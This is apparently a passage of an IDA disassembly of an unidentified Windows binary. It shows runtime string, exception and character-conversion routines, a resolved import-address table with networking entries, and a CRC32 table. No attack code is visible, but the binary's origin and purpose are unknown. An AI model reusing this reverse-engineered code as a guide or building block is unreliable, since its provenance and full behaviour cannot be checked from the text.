loc_426459:				; CODE XREF: sub_4263E5+6Dj
		pop	edi
		pop	esi

loc_42645B:				; CODE XREF: sub_4263E5+3Dj
					; sub_4263E5+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_4263E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_426465	proc near		; CODE XREF: sub_41843B+21p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648C
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41BEB5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648C
		push	esi
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42648C:				; CODE XREF: sub_426465+7j
					; sub_426465+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426465	endp


; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: ___:004264A8p
		mov	dword ptr [ecx], offset	off_427CEC
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4264A4
		push	ecx
		call	sub_41BA91
		pop	ecx

locret_4264A4:				; CODE XREF: sub_426490+Bj
		retn
sub_426490	endp

; ---------------------------------------------------------------------------

loc_4264A5:				; DATA XREF: ___:off_427CECo
		push	esi
		mov	esi, ecx
		call	sub_426490
		test	byte ptr [esp+8], 1
		jz	short loc_4264BB
		push	esi
		call	sub_41D65F
		pop	ecx

loc_4264BB:				; CODE XREF: ___:004264B2j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_4264C1:				; DATA XREF: ___:off_427CF4o
		push	esi
		mov	esi, ecx
		call	sub_426564
		test	byte ptr [esp+8], 1
		jz	short loc_4264D7
		push	esi
		call	sub_41D65F
		pop	ecx

loc_4264D7:				; CODE XREF: ___:004264CEj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264DD	proc near		; CODE XREF: sub_4260FE+1Dp
					; sub_4261D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		push	dword ptr [edi]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42650C
		push	dword ptr [edi]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx

loc_42650C:				; CODE XREF: sub_4264DD+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4264DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42651A	proc near		; CODE XREF: sub_426218+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_426557
		push	dword ptr [edi+4]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42655D
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		jmp	short loc_42655D
; ---------------------------------------------------------------------------

loc_426557:				; CODE XREF: sub_42651A+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax

loc_42655D:				; CODE XREF: sub_42651A+2Ej
					; sub_42651A+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42651A	endp


; =============== S U B	R O U T	I N E =======================================



sub_426564	proc near		; CODE XREF: sub_4260BA+16j
					; ___:004264C4p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427CF4
		jz	short locret_426579
		push	dword ptr [ecx+4]
		call	sub_41D65F
		pop	ecx

locret_426579:				; CODE XREF: sub_426564+Aj
		retn
sub_426564	endp


; =============== S U B	R O U T	I N E =======================================



sub_42657A	proc near		; DATA XREF: ___:00427CF8o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_426586
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_426586:				; CODE XREF: sub_42657A+5j
		retn
sub_42657A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426587	proc near		; CODE XREF: sub_426173+37p
					; sub_42629A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D10
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	near ptr 26504C8h
		nop
		pop	edi
		pop	esi
		leave
		retn	8
sub_426587	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4265C1	proc near		; CODE XREF: sub_4263E5+56p
					; sub_4263E5+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_4265D3
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4265D3:				; CODE XREF: sub_4265C1+Bj
		cmp	dword_4DBE94, 0
		jnz	short loc_4265ED
		cmp	ax, 41h
		jb	short locret_426634
		cmp	ax, 5Ah
		ja	short locret_426634
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------

loc_4265ED:				; CODE XREF: sub_4265C1+19j
		cmp	ax, 100h
		jnb	short loc_426607
		push	1
		push	eax
		call	sub_42686F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426607
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------

loc_426607:				; CODE XREF: sub_4265C1+30j
					; sub_4265C1+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DBE94
		call	sub_426636
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426634
		mov	ax, [ebp+var_2]

locret_426634:				; CODE XREF: sub_4265C1+1Fj
					; sub_4265C1+25j ...
		leave
		retn
sub_4265C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426636	proc near		; CODE XREF: sub_4265C1+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DC020, esi
		jnz	short loc_4266AC
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_42668A
		mov	dword_4DC020, ebx
		jmp	short loc_4266AC
; ---------------------------------------------------------------------------

loc_42668A:				; CODE XREF: sub_426636+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset word_4CB89C
		push	edi
		push	esi
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	loc_42682B
		mov	dword_4DC020, 2

loc_4266AC:				; CODE XREF: sub_426636+2Ej
					; sub_426636+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_4266C1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_42683F
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_4266C1:				; CODE XREF: sub_426636+79j
		mov	eax, dword_4DC020
		cmp	eax, 1
		jnz	short loc_4266E8
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop
		jmp	loc_42682D
; ---------------------------------------------------------------------------

loc_4266E8:				; CODE XREF: sub_426636+93j
		cmp	eax, 2
		jnz	loc_42682B
		cmp	[ebp+arg_18], esi
		jnz	short loc_4266FE
		mov	eax, dword_4DBEA4
		mov	[ebp+arg_18], eax

loc_4266FE:				; CODE XREF: sub_426636+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 283106Ah
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_42682B
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426744
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi

loc_426744:				; CODE XREF: sub_426636+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 283106Ah
		nop
		test	eax, eax
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_42682B
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4267C7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]

loc_4267C7:				; CODE XREF: sub_426636+17Dj
		cmp	ebx, esi
		jz	short loc_42682B
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	short loc_42682B
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426805
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426827
		cmp	eax, edi
		jl	short loc_4267F6
		mov	eax, edi

loc_4267F6:				; CODE XREF: sub_426636+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_426827
; ---------------------------------------------------------------------------

loc_426805:				; CODE XREF: sub_426636+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_42680E
		push	esi
		push	esi
		jmp	short loc_426814
; ---------------------------------------------------------------------------

loc_42680E:				; CODE XREF: sub_426636+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_426814:				; CODE XREF: sub_426636+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2700000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_42682B

loc_426827:				; CODE XREF: sub_426636+1B8j
					; sub_426636+1CDj
		mov	eax, edi
		jmp	short loc_42682D
; ---------------------------------------------------------------------------

loc_42682B:				; CODE XREF: sub_426636+66j
					; sub_426636+B5j ...
		xor	eax, eax

loc_42682D:				; CODE XREF: sub_426636+ADj
					; sub_426636+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426636	endp


; =============== S U B	R O U T	I N E =======================================



sub_42683F	proc near		; CODE XREF: sub_426636+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42685E

loc_42684F:				; CODE XREF: sub_42683F+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_42685E
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_42684F

loc_42685E:				; CODE XREF: sub_42683F+Ej
					; sub_42683F+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_42686C
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_42686C:				; CODE XREF: sub_42683F+24j
		mov	eax, edx
		retn
sub_42683F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42686F	proc near		; CODE XREF: sub_4265C1+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_4268AF
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426893
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43CE8C
		mov	ax, [ecx+eax*2]
		jmp	short loc_4268B6
; ---------------------------------------------------------------------------

loc_426893:				; CODE XREF: sub_42686F+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_4268C1
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4268B3

loc_4268AF:				; CODE XREF: sub_42686F+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4268B3:				; CODE XREF: sub_42686F+3Ej
		mov	eax, [ebp+var_4]

loc_4268B6:				; CODE XREF: sub_42686F+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_42686F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268C1	proc near		; CODE XREF: sub_42686F+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D48
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DC024
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426930
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		nop
		call	near ptr 260048Ch
		test	eax, eax
		jz	short loc_42690E
		mov	eax, esi
		jmp	short loc_42692B
; ---------------------------------------------------------------------------

loc_42690E:				; CODE XREF: sub_4268C1+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB89C
		push	esi
		push	edi
		call	near ptr 2610000h
		nop
		test	eax, eax
		jz	loc_426A72
		push	2
		pop	eax

loc_42692B:				; CODE XREF: sub_4268C1+4Bj
		mov	dword_4DC024, eax

loc_426930:				; CODE XREF: sub_4268C1+2Fj
		cmp	eax, 1
		jnz	short loc_42694C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 260048Ch
		jmp	loc_426A74
; ---------------------------------------------------------------------------

loc_42694C:				; CODE XREF: sub_4268C1+72j
		cmp	eax, 2
		jnz	loc_426A72
		cmp	[ebp+arg_10], edi
		jnz	short loc_426962
		mov	eax, dword_4DBEA4
		mov	[ebp+arg_10], eax

loc_426962:				; CODE XREF: sub_4268C1+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 283106Ah
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426A72
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4269C0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_4269C0:				; CODE XREF: sub_4268C1+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426A72
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 283106Ah
		nop
		test	eax, eax
		jz	loc_426A72
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426A15
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx

loc_426A15:				; CODE XREF: sub_4268C1+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426A72
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426A29
		mov	eax, dword_4DBE94

loc_426A29:				; CODE XREF: sub_4268C1+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610000h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426A72
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426A72
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41D670
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426A74
; ---------------------------------------------------------------------------

loc_426A72:				; CODE XREF: sub_4268C1+61j
					; sub_4268C1+8Ej ...
		xor	eax, eax

loc_426A74:				; CODE XREF: sub_4268C1+86j
					; sub_4268C1+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4268C1	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_426A88	proc near		; DATA XREF: ___:00427EFCo

; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D76C
sub_426A88	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426AA6
		mov	ecx, [ebp+8]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------

locret_426AA6:				; CODE XREF: ___:00426A98j
		retn
; ---------------------------------------------------------------------------

loc_426AA7:				; DATA XREF: sub_40D340o
		mov	eax, offset dword_427ED0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------

loc_426ABC:				; DATA XREF: ___:00427F2Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------

loc_426AC4:				; DATA XREF: sub_40D4E2o
		mov	eax, offset dword_427F00
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 10h

loc_426AD0:				; DATA XREF: sub_40DA4Fo
		mov	eax, offset dword_427F30
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------

loc_426AE2:				; DATA XREF: sub_4260FEo
		mov	eax, offset dword_427F90
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------

loc_426AF4:				; DATA XREF: sub_426173o
		mov	eax, offset dword_428028
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------

loc_426B06:				; DATA XREF: sub_4261D0o
		mov	eax, offset dword_42804C
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_426564
; ---------------------------------------------------------------------------

loc_426B18:				; DATA XREF: sub_426218o
		mov	eax, offset dword_428070
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------

loc_426B2A:				; DATA XREF: sub_42629Ao
		mov	eax, offset dword_4280D0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		dd 133h	dup(0)
		dd 25E0000h, 25F0000h, 25F0B8Eh, 2600000h, 26003F2h, 260048Ch
		dd 2610000h, 2610798h, 2610C34h, 2620000h, 26207ABh, 26209E3h
dword_427030	dd 26209F4h		; DATA XREF: ___:004239E2r
		dd 2620A68h, 2620D2Ah, 2620D49h, 2620DE9h, 2630000h, 2640000h
		dd 2650000h, 26504C8h, 265097Eh, 26509B9h, 2660000h, 26606B6h
dword_427064	dd 2660B3Bh		; DATA XREF: sub_41F216:loc_41F247r
dword_427068	dd 2660CA0h		; DATA XREF: sub_41E742+240r
		dd 77E75CB5h
dword_427070	dd 2670000h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2670345h, 2680000h, 2680A31h
dword_427080	dd 2680F3Dh		; DATA XREF: sub_40111D+29r
					; sub_40C3E8+2E9r ...
dword_427084	dd 2690000h		; DATA XREF: ___:004015E2r
					; sub_4116D6+32r
		dd 26901DFh
dword_42708C	dd 269027Fh		; DATA XREF: sub_419C09+B9r
		dd 269090Ch
dword_427094	dd 269096Bh		; DATA XREF: sub_4119F9:loc_411A8Ar
dword_427098	dd 26909AEh		; DATA XREF: ___:loc_4013DCr
		dd 2690CF1h, 2690E3Bh
dword_4270A4	dd 26A0000h		; DATA XREF: sub_409909+2r
		dd 26A0195h, 26A026Ch
dword_4270B0	dd 26A0861h		; DATA XREF: ___:0040124Dr
					; sub_41AA1E+8Cr
dword_4270B4	dd 26A0933h		; DATA XREF: sub_4116D6:loc_4117C2r
		dd 26B0000h, 26B0BDCh
dword_4270C0	dd 26B0CBCh		; DATA XREF: sub_409909:loc_409E17r
dword_4270C4	dd 26C0000h		; DATA XREF: sub_409909+11r
					; sub_4172C1+60r ...
		dd 26D0000h, 26E0000h, 26E0528h, 26F0000h, 77F7E300h, 77F7E21Fh
		dd 26F0585h, 26F06FFh
dword_4270E8	dd 2700000h		; DATA XREF: sub_419177+Fr
					; sub_41E0D4+54r
dword_4270EC	dd 270116Ch		; DATA XREF: sub_4119F9+Br
		dd 2710000h, 27107D0h
dword_4270F8	dd 2720000h		; DATA XREF: sub_4187E0+36r
		dd 2720244h, 2720349h
dword_427104	dd 27208E7h		; DATA XREF: sub_411920+3Ar
					; sub_41A1B1+79r
dword_427108	dd 2730000h		; DATA XREF: sub_411827+23r
					; sub_41A1B1+3Br
		dd 2731391h, 2740000h, 2740B25h, 2750000h, 27505CAh, 2760000h
		dd 2770000h, 2780000h, 2780ABBh, 2780DEEh, 2790000h, 2790159h
		dd 2790540h, 27A0000h, 27A07FAh
dword_427148	dd 27B0000h		; DATA XREF: sub_4172C1+BCr
		dd 27C0000h
dword_427150	dd 27D0000h		; DATA XREF: sub_417493+21r
					; sub_41761C+4Ar
dword_427154	dd 27D0C47h		; DATA XREF: sub_417493+10r
					; sub_41761C+40r ...
		dd 27D0C8Ah
dword_42715C	dd 27E0000h		; DATA XREF: sub_41761C+56r
		dd 27E02D8h, 27F0000h, 2800000h, 2800772h, 2800CEAh, 2810000h
		dd 2810236h, 281092Bh, 2820000h, 2830000h
dword_427188	dd 283106Ah		; DATA XREF: sub_4190A5+13r
					; ___:00423A57r
		dd 2831B30h, 2840000h, 284045Dh, 28407D0h, 2850000h, 2860000h
		dd 2870000h, 2880000h, 2881B71h, 2881BBBh, 2890000h, 2890E0Ch
		dd 28A0000h, 0
		dd 71AB5A01h, 71AB4122h
dword_4271CC	dd 71AB1746h		; DATA XREF: sub_4131EC+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB12F8h, 71AB1746h
		dd 71AB3E5Dh
dword_4271FC	dd 71AB5690h		; DATA XREF: sub_40E9FB+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 2	dup(0)
dword_427220	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
